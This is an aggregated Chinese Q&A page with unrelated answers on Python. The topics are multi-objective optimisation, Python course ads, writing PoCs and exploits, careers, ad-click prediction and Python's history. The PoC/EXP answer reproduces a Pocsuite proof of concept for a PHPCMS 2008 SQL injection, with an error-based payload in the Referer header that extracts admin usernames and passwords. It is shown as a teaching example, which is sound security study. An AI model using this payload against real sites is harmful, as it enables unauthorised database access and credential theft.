python多目標識別廣告

『壹』 學習多目標優化需要掌握哪些python知識

多目標優化

目標優化問題一般地就是指通過一定的優化演算法獲得目標函數的最優化解。當優化的目標函數為一個時稱之為單目標優化(Single-
objective Optimization Problem,
SOP)。當優化的目標函數有兩個或兩個以上時稱為多目標優化(Multi-objective Optimization Problem,
MOP)。不同於單目標優化的解為有限解，多目標優化的解通常是一組均衡解。

多目標優化演算法歸結起來有傳統優化演算法和智能優化演算法兩大類。
1. 傳統優化演算法包括加權法、約束法和線性規劃法等，實質上就是將多目標函數轉化為單目標函數，通過採用單目標優化的方法達到對多目標函數的求解。
2. 智能優化演算法包括進化演算法（Evolutionary Algorithm, 簡稱EA）、粒子群演算法（Particle Swarm Optimization, PSO）等。

Pareto最優解：

若x*∈C*,且在C中不存在比x更優越的解x，則稱x*是多目標最優化模型式的Pareto最優解，又稱為有效解。
一般來說，多目標優化問題並不存在一個最優解，所有可能的解都稱為非劣解，也稱為Pareto解。傳統優化技術一般每次能得到Pareo解集中的一個，而
用智能演算法來求解，可以得到更多的Pareto解，這些解構成了一個最優解集，稱為Pareto最優解。它是由那些任一個目標函數值的提高都必須以犧牲其
他目標函數值為代價的解組成的集合,稱為Pareto最優域，簡稱Pareto集。

Pareto有效(最優)解非劣解集是指由這樣一些解組成的集合：與集合之外的任何解相比它們至少有一個目標函數比集合之外的解好。

求解多目標優化問題最有名的就是NSGA-II了，是多目標遺傳演算法，但其對解的選擇過程可以用在其他優化演算法上，例如粒子群，蜂群等等。這里簡單介紹一下NSGA-II的選擇演算法。主要包含三個部分：
1. 快速非支配排序
要先講一下支配的概念，對於解X1和X2，如果X1對應的所有目標函數都不比X2大（最小問題），且存在一個目標值比X2小，則X2被X1支配。
快速非支配排序是一個循環分級過程：首先找出群體中的非支配解集，記為第一非支配層，irank=1（irank是個體i的非支配值），將其從群體中除去，繼續尋找群體中的非支配解集，然後irank=2。
2. 個體擁擠距離
為了使計算結果在目標空間比較均勻的分布，維持種群多樣性，對每個個體計算擁擠距離，選擇擁擠距離大的個體，擁擠距離的定義為：
L[i]d=L[i]d+(L[i+1]m−L[i−1]m)/(fmaxm−fminm)
L[i+1]m是第i+1個個體的第m目標函數值，fmaxm 和 fminm是集合中第m個目標函數的最大和最小值。
3. 精英策略選擇
精英策略就是保留父代中的優良個體直接進入子代，防止獲得的Pareto最優解丟失。將第t次產生的子代種群和父代種群合並，然後對合並後的新種群進行非支配排序，然後按照非支配順序添加到規模為N的種群中作為新的父代。

『貳』 抖音上比較火的python學習，真的可以達到廣告所說的水平嘛

幾塊錢就能學會編程？都是套路。8.9元Python小課掀起編程熱，網友：試學後又花了4位數報班。

低價和刷量，是Python小課割韭菜的利器。銷售的力量不就是這樣嗎，我賣python課，就得包裝成google，facebook都特別重視，學會了就走上人生巔峰，迎娶白富美。

現實則是：學個helloworld挺容易，但是用python跑人工智慧，就算照著教程，內行也不一定能跑下來，9.9的課程，估計一半都是講怎麼安裝環境，另一半一邊介紹基本知識，一邊做個helloworld。後續如何就得看你個人造化了，師傅領進門，修行在個人。不是不教，只是9.9是不夠的。

總結：想要學習python的核心技術，並且想要從事it行業，還是需要進行一些系統的學習，不可能通過一個質量都無法保障的網課，就可以學會目前一個比較熱門的技術。

『叄』 如何使用python編寫poc，exp

然後來談談自己的看法：
其實吧，無論烏雲的Tangscan也好，知道創宇的Pocsuite也好，還有Beebeeto也好（Bugscan沒寫過，不是特別了解不過應該差不多），關於Web的Poc和Exp，都極度依賴於兩個Python庫。
1. Requests ： 模擬Web的請求和響應等交互動作。
2. Re ： 正則表達式，用來驗證返回的結果是否符合漏洞的預期，從而驗證漏洞是否存在。
其餘的大部分代碼都是漏洞的信息。
Pocsuite官方文檔例子：
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from t import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['Medici.Yan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ''
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中廣告模塊，存在參數過濾不嚴，
導致了sql注入漏洞，如果對方伺服器開啟了錯誤顯示，可直接利用，
如果關閉了錯誤顯示，可以採用基於時間和錯誤的盲注
'''
samples = ['']

def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_result.group(1)
result['AdminInfo']['Password'] = match_result.group(2)
return self.parse_attack(result)

def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and '' in resp.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload

return self.parse_attack(result)

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)

可以看到從代碼11到28行都是漏洞的一些信息，真正的功能函數只有_attack和_verify兩個而已。甚至這個例子有點繁瑣了，現在大大們都是把exploit寫在verify裡面，所以真正起到功能的，也就不到十行的代碼。pocsuite.net 這個庫其實就是Requests。用Requests模擬手工注入的Post提交，用正則匹配提取和驗證必要信息，簡單說起來就是這兩個步驟。
這么一來你再看看其他的由Python寫的Poc和Exp就大同小異了。Poc/Exp總的說來就只是用程序代替手工的過程而已，所以了解了漏洞的原理和認證方法之後就簡單了。
代碼很簡單最主要的，還是對於漏洞的理解。
先說到這里，有空之後再寫一些別的。

『肆』 Python作為一門編程語言，學完了python能做什麼工作

Python是一種高級編程語言，因為有很多包，你可以快速開始，很多公司都在使用。在學習Python之後，可能適合的職業主要集中在以下幾個方面：

產品管理器通常需要准備PPT報告各種數據，並且Python數據分析師也可以使用Python很多工作。如今，數據分析師基本上沒有說Python，因為Python內部數據分析太多，熊貓，Numpy，Scikit學習，Matplotlib，Tensorflow .許多數據科學家也在使用Python，所以如果數據分析，那麼有興趣學習，還可以考慮網路的方向探索Python培訓。這也很明顯。現在對Python的需求如此之高，很多人已經開始學習Python，總是被教導，教育培訓也是一個持久的行業。至少有一些編程基礎在Python之後，然後學習一些新興語言，觸摸旁路，並正確做訓練。財務顧問現在處於數字轉型，金融方向本身是一堆數據。這是大量數據。它是很多手工工作，付款和責任，現在，自動化得到改善，對於財務人員的要求也很高，如果你可以在這些數據的基礎上進行一些分析，它也是非常繁榮的做一個好主意，它非常受歡迎。

『伍』 淘寶廣告用戶點擊預測（python)

為提高用戶淘寶廣告點擊率，通過分析淘寶用戶廣告點擊記錄及對應的用戶信息和廣告信息表，用python 進行數據合並後進行數據清洗、提取數據特徵，做特徵工程分析，分析影響用戶點擊廣告的因素，建立簡單邏輯回歸模型，預測用戶是否點擊廣告；

https://tianchi.aliyun.com/dataset/dataDetail?dataId=56

數據集簡介（詳情見數據集鏈接）：

數據集一共4個表，因為是廣告點擊預測，就用了前面三個表，表描述如下：

主表：raw_sample

以clk 作為後邏輯回歸模型數據集標簽，後面會改名稱為flag;

數據清洗：

以user id+ time_stamp查看，會有很多重復的記錄。刪除重復時間+用戶ID，設置唯一標識；

查看目前數據集大小：

查看空值：

查看點擊佔比：

ad_feature

數據清洗：

查看重復值：

和主表做關聯生成date1:

查看合並後的空值：

查看點擊佔比：

user_profile

查看重復值：

和date1做關聯生成date2：

最終數據表信息：

查看點擊比例：

刪除不需要做分析的ID標識符欄位：

最終數據表點擊比例：

類別欄位：男女佔比/學生佔比

時間欄位：

數據集只有時間戳欄位，我們從中提取星期數以及對應時間段來看時間趨勢；

查看點擊趨勢：

對星期數再區分以便後面做特徵提取;

同樣對小時進行分組方便後面的特徵處理

連續型欄位處理：

price：

查看廣告價格描述性統計信息：

給廣告價格分區：

時間欄位可以刪除：

查看目前缺失數據，需要填充缺失數據：

    查看缺失佔比，pvalue_level缺失的比較多，用一個特殊的數字填充，這里用的9999.0

空值填充：如果是數值類型，用平均值取代；如果是分類數據，用最常見的類別取代；

查看剩餘連續數據的分布和描述性統計信息:

刪除分完區的原始列：

把sex標准化變成0/1：

目前數據預覽：

Age_leavel/wechat_group 分類太多，後面做特徵編碼的時候生成的特徵太多，對它進行分區：

數據集重命名備份:

對前面提取的特徵用使用get_mmies進行one-hot編碼（類似的做法，就貼三個）

分類列stu我們編碼後保留一個特徵：

相關系數法：計算各個特徵的相關系數

查看各個特徵與點擊情況（flag）的相關系數，ascending=False表示按降序排列：

截取了相關系數前後幾個，都不高，用戶本身廣告點擊率就很低；

廣告價格、資源位、性別、商品類別、周五比較能影響用戶點擊；

根據各個特徵與flag的相關系數大小，選擇了這幾個特徵作為模型的輸入:

建立訓練數據集和測試數據集：

建立邏輯回歸並計算邏輯正確率：

『陸』 python背後是一項科技運動

比較官方的說法，python是一種解釋型語言，解釋型語言是指代碼一行一行的解釋執行，就好像有個 同聲傳譯 ，你每說一句話，他都能不間斷地給你翻譯，把你說的話（意指寫好的代碼）翻譯成機器能夠理解的語言。對於機器來說，這些翻譯後的語言就是機器語言，就是指令，機器收到指令後，就會根據指令執行對應的操作。

與解釋型語言相對的，有編譯型語言，編譯型語言則通過編譯器先將代碼翻譯成機器語言，再交給機器去執行。舉個例子，我方主持了一個會議，參會的分別有英國人、俄國人和西班牙人，他們三方都帶了自己的同聲傳譯。假如是解釋型語言呢，我在開會的時候用一種每個同聲傳譯都聽得懂的的語言，也就是一種官方用語。這樣我可以不間斷地用這種語言來做交流，因為這些翻譯人員都會為這三國參會人員同步翻譯成目標語言，你應該也注意到了，解釋型語言類似於一種通用的語言。而如果是編譯型語言呢，我會讓我這邊的3個翻譯人員將我的一份中文演講稿，分別翻譯成英文版的、俄文版的和西班牙語版的，在開會的時候，我只要交給參會的國際友人去翻閱就好了。解釋型語言側重的是一種通用的、能夠實時解釋翻譯的特性，而編譯型語言側重的是有針對性、提前准備的特性。然而，在開會的時候，解釋型效率是沒有那麼高的，因為需要同聲傳譯消耗時間去做翻譯，而編譯型的效率會高些，因為翻譯工作已經在開會前做好了，只需要參會人員理解並且執行就好。

1989年的聖誕節，荷蘭程序員Guido van Rossum（ 吉多·范羅蘇姆 ，以下簡稱吉多）在家休假無聊，為了打發時間，他開發了一種新的解釋型語言。可見，該程序員無聊的時候，就是寫代碼。因為作者非常喜歡 Monty Python's Flying Circus （巨蟒劇團之飛翔的馬戲團，這是英國的一個電視喜劇），就拿python作為這個新語言的名字。我想大家不一定都知道這部喜劇，但是可能都聽說過python，可能微信在幾天前給你推過python相關的培訓廣告，可能一些學校已經將掌握python基礎概念作為一門選修課，可能你的智能家居里的操作系統有一部分核心代碼是用python實現的，可能你的手機里有一個插件也是用python實現的，python現在的應用范圍非常廣泛，功能也非常強大。

吉多之前在 荷蘭數學和計算機科學研究學會 上班，在那裡，他為ABC編程語言工作了好多年。 ABC語言長這樣的

這是一個函數，你也許看不懂，根據英文單詞，或許可以大概猜出點什麼。這里只想讓你知道，python也差不多長這樣，相比較會更容易理解些。

ABC雖然是一門編程語言，它的定位是作為教學或原型設計的工具，是專門為學校老師或者科研人員設計的。ABC的定位決定了它受眾不是很廣泛，並且它也有使用門檻，對計算機不了解的人，沒有經過一段時間的學習，可能根本就上不了手。所以，ABC並不能作為一門通用的編程語言，在業內也無法獲得成功。雖然說ABC沒有python那麼成功，但是ABC可以說是"the mother of python"，作者在很多地方都借鑒了ABC，取其精華、取其糟粕。現如今，python是長這樣的

可能對於沒接觸過編程的人來說，它們兩不都是一樣的，不都是一堆英文字母么，我都看不懂。但是對於初學計算機課程，那些需要學習C語言的人來說，python相比較算是更容易理解了。python非常簡短，一些復雜的流程，在C語言中，可能需要幾十行代碼，但是在python中，可能就只需要幾行代碼。當然不同的業務場景，可能不是這樣的，但是普遍情況下，用python的開發效率是非常高的。python適合快速開發，適合產品快速迭代出新。

1999年1月，也就是語言面世的10年後， 吉多 向DARPA(Defense Advanced Research Projects Agency，美國國防部一個負責科研的下屬機構)申請資金。我去翻了下該申請的修訂版，修訂版在1999年8月份提交，修訂版比第一版內容更具有概括性，並且內容翔實，條理清晰，值得翻閱。

該修訂版叫 Computer Programming for Everybody ，直譯過來，就是針對每個人的計算機編程，翻譯為通俗易懂的詞——人人編程，人人編程是一種 社會 現象，每個人都有一定的編程能力，並且對計算機有一定的認識，了解軟硬體是怎麼運轉起來的，了解一些軟硬體的設計規范，能夠通過編程來表達自己的想法，能夠通過編程來配置自己的軟體，通過編程來控制自己的機器，以改善自己的生活。舉個例子，你在某寶買了一個掃地機器人，該機器人支持定義打掃路線，支持設置掃地機器人在需要更換掃把的時候，指示燈顯示指定的顏色。你知道掃地機器人可以做什麼，有什麼操作習慣，這是基於你對一些機器的理解，如果你用過很多軟體，或者參與過軟體的設計，你大概都知道一些軟體可能都有「設置」、「編輯」或「幫助」等菜單鍵。這種設計思維，或者操作習慣，都是很多軟體都有的，有了這種認識之後，你面對很多同類型的軟體、或者同類型的產品，就大概能夠知道從那裡入手，以及對它有什麼功能，都有一個初步的期待或者認識。既然大家都了解計算機了，那麼計算機的一些概念或者說是理念，可以說是屬於常識的一部分，面對一些計算機或者說智能設備，也大概知道從哪裡上手使用。我覺得這就是作者要達到的願景。

該修訂版主要有幾個目的：

在這里，他想從推廣python開始，因為python作為一門適合快速開發的工具，既適合專家，也適合初學者，同時python有一個活躍的且不斷增長的用戶群體，這個用戶群體對他這個申請也非常感興趣，願意為之努力。python的用戶數多，說明已經在市場得到了一定的認可，並且這個用戶群體也願意為python的發展做貢獻，這對於一門編程語言來說，最好不過了。

該提案的 基本論點 部分寫得很好，他說他想普及計算機應用，但並非通過介紹新的硬體，或者新軟體這種形式，而是通過賦予每個人編程能力來實現。信息技術的發展給了人們各種強大的計算機，它們以桌面電腦、筆記本電腦或者嵌入式系統的形式存在，如果用戶在軟體設計和實現上有一個通用的認知，那將會極大地促進生產和創造，並且對未來有深遠的影響。試想一下，如果你有一種修改和配置軟體的能力，並且你可以把你的修改通過社區網站分享其他人，其他人碰到同樣的問題的話，就可以參照你的方法。這種能力在緊急的情況下是很重要的，你不必等專家來給你解決問題，你自己就可以嘗試解決這些問題。說到這里，你有沒有想起貼吧，或者論壇，論壇有很多個板塊，不同的領域分不同的板塊，假如你想root手機（手機越獄，指解除手機廠商的限制，獲取手機的用戶最高許可權，以實現對手機的某種控制），你可以到論壇上root板塊找答案，這種形式可謂跟吉多提到的是一樣的。如果你對你的手機或者電腦有更深入的了解，你可以通過編程改善你的輸入法，或者改變你的顯示器冷暖色等等，這些都是對你生活有幫助的。吉多在這里就是想達到這種狀態，簡單點說，人人都對計算機有一定的了解，且都有處理計算機問題的能力。

為了實現這個目標，作者制定了5年計劃，這個5年計劃如下：

5年計劃循序漸進，由淺入深。1999年3月，美國國防部對此進行了回應，同意撥款給他。作者的5年計劃在1999年底開始實施，雖然想推進5年，但是只收到1年的資金支持。不過，作者還是沒有放棄這個項目，一直推進，直到他不再參與python的工作。當時美國國防部對他們提供了多少資金呢，我沒看到官方公開的數據。2013年有報道稱，DARPA向Continuum Analytics提供3百萬美元的支持，讓該公司給python開發數據處理以及數據可視化工具。具體數字是否可靠，這個尚不清楚，但管中窺豹，可見美國國防部對該項目表示認可，並提供了資金支持。Continuum Analytics有一個比較有名的工具，叫Anaconda，Anaconda可以理解為是python + 各種科學計算庫的工具箱，Anaconda官網有這么一句話

翻譯為「Continuum Analytics的Anaconda是使用python的、領先的開源科學計算平台，我們賦予那些正在改變世界的人超能力。」

在查資料的時候，我發現了一個wiki論壇, 該論壇對該項目進行了評價，論壇列出了該項目成功的地方和失敗的地方，以及一些 社會 人士的看法。論壇這樣總結道，這個項目成功的地方在於：

這個項目失敗的地方在於：

回想自己初學python的時候，我覺得這個總結是很公正的。python確實容易入門，有編程基礎的人可能只需要一個星期就能掌握python的一些基本語法。相比C語言，python對於初學者是很友好的，很容易讓人上手。但是，要深入理解python，並沒有這么簡單，需要花很多時間去磨練。接手一個使用python的項目，你需要花一些時間精力去熟悉，去摸透裡面的邏輯，這對於初學者來說，是無法避免的。 對於一個程序員來說，作者能想像到以後計算機的普及應用，以及用戶的認知水平，還有他能夠做什麼，通過什麼來實現，能有這些遠大的抱負，這是非常不容易的。西方世界經常說到「change the world，make the world a better place」，作者也確實做到了，他設計的python在計算機世界裡扮演者一個非常重要的角色。如果通過 科技 能夠改變世界，那麼python就是改變世界的其中一步。1980-2000年，美國對 科技 公司是政策扶持、技術擴散，這期間涌現了如IBM、HP、思科等 科技 公司，大家熟知的微軟和蘋果都是在這期間上市的。python可以說是這個 科技 運動的一個縮影，在 科技 浪潮的推動下，python得到了長足的發展。

很多 科技 或工業相關的網站會根據當年編程語言的流行度做下排名，它們會列出當年在業界最受歡迎的編程語言。其中，IEEE Spectrum 和 TIOBE 的2021年度編程語言是python，如果我還沒記錯的話，TIOBE的2020年度編程語言也是python。可見python是非常受歡迎的，用現在的話講，就是「網紅」編程語言。現在，很多計算設備上都有python的身影，小到智能家居、手機、智能手錶，大到鋰電車、工控車床、甚至太空梭都有python的身影。你可能在瀏覽網頁的時候，右下角彈出一個「7天python入門」的廣告，可見python現在還是有很多需求，因為有需求，所以才有人去投廣告，才會有人去找培訓機構。

作者在給美國國防部的提案中寫到，他想跟高中或大學展開合作，設計一些python的課程，針對不同年級，設計不同水平的課程。現在來看，他確實是做到了，現在哈佛、密歇根大學等排名靠前的大學，都有python課程，python在這些大學的CS（計算機科學）課程中應用非常廣泛，可以說是作為CS導論的一個教學工具。在一些比較高級的課程，比如數據科學、人工智慧等都可以看到python的身影，這是因為學術界以及工業界為python提供了一些處理科學計算和大數據的工具，這也歸功於美國國防部的支持。美國有許多編程夏令營，針對不同年齡段有不同的課程，並且也有許多支持python代碼的編程競賽。Google在coursera上有一個面向初學者的課程，該課程叫 Google IT Automation with Python，完成課程大約需要 8 個月，課程建議每周花5小時學習，課程結束後就可以獲得Google頒發的證書。可見，不管是工業界，還是教育界，都對python有不同程度的支持。這里打個岔，第一版的Google搜索引擎還是用python寫的，作者也在Google工作了一段時間。

現如今，每隔一段時間，就有一個PyCon活動，這個活動匯聚世界各地的開發者，每年都有開發者來展示他們使用python的成功案例，或者表達自己對python的新功能或者缺陷的看法。可見，python用戶社區一直都是很活躍的。這讓我想到了某新能源 汽車 ，該 汽車 用戶有很高的粘性，有一位車主跟我說過，他們有一個微信群，裡面有該新能源 汽車 的高管，很多車主樂意在裡面指出問題，或者提建議，因為這些高管會對問題或者建議做出相應的反饋。用戶願意提意見，產品經理願意廣開言路，採納多方建議，實屬不易。python社區也差不多如此。

幾年前，你是否看過一個新聞，《人工智慧「網紅」編程語言Python進入山東小學課本》，這是2017年澎湃網的一則新聞，裡面講了python進入了山東省小學六年級教材，作為一門「網紅」編程語言，它是否適合低齡學生，這個倒是沒細說，但是可見國內有些地方是把編程作為一種比較基礎的能力來考量。python往低齡階段滲透是否合適呢，我在翻資料的時候瞥到韓國高麗大學的一篇論文，論文講述小學生在學習python的過程中會碰到一些困難，比如經常少打了一些括弧，經常拼錯單詞，經常碰到語法錯誤，以及對這些現象的看法。還有，南京師范大學有一篇報道，講述了中學生學習在學習python時，採用面向問題的學習模式，我理解是case by case的教學模式，這種模式有利於學生培養學生的計算機思維，以及幫助他們理解一些計算機相關的概念，解決計算機相關的問題。

python是否適合低齡學生呢，我覺得這個是值得討論的話題。最後還要問你一句，你會讓你的小孩學習python么，從什麼時候開始學呢？你的娃因為不知道打多少個括弧嚎啕大哭時，你能幫得上忙么？你到時候需要專門請一個程序員來給你的娃做家教么？

https://zh.wikipedia.org/wiki/Python%E8%BB%9F%E9%AB%94%E5%9F%BA%E9%87%91%E6%9C%83

https://www.python.org/psf/

https://www.computerworld.com/article/2711690/python-gets-a-big-data-boost-from-darpa.html

https://legacy.python.org/doc/essays/omg-darpa-mcc-position/

https://legacy.python.org/doc/essays/blurb/

https://www.python.org/doc/essays/cp4e/

http://wiki.c2.com/?

https://koreauniv.pure.elsevier.com/en/publications/an-analysis-of-the-difficulties-of-elementary-school-students-in-

https://www.frontiersin.org/articles/10.3389/fpsyg.2021.771221/full

https://zh.wikipedia.org/wiki/%E7%BB%88%E8%BA%AB%E4%BB%81%E6%85%88%E7%8B%AC%E8%A3%81%E8%80%85

https://gvanrossum.github.io//

http://neopythonic.blogspot.com/2016/04/kings-day-speech.html

https://www.artima.com/intv/guido.html

https://www.htsec.com/jfimg/colimg/upload/20200113/68981578882847978.pdf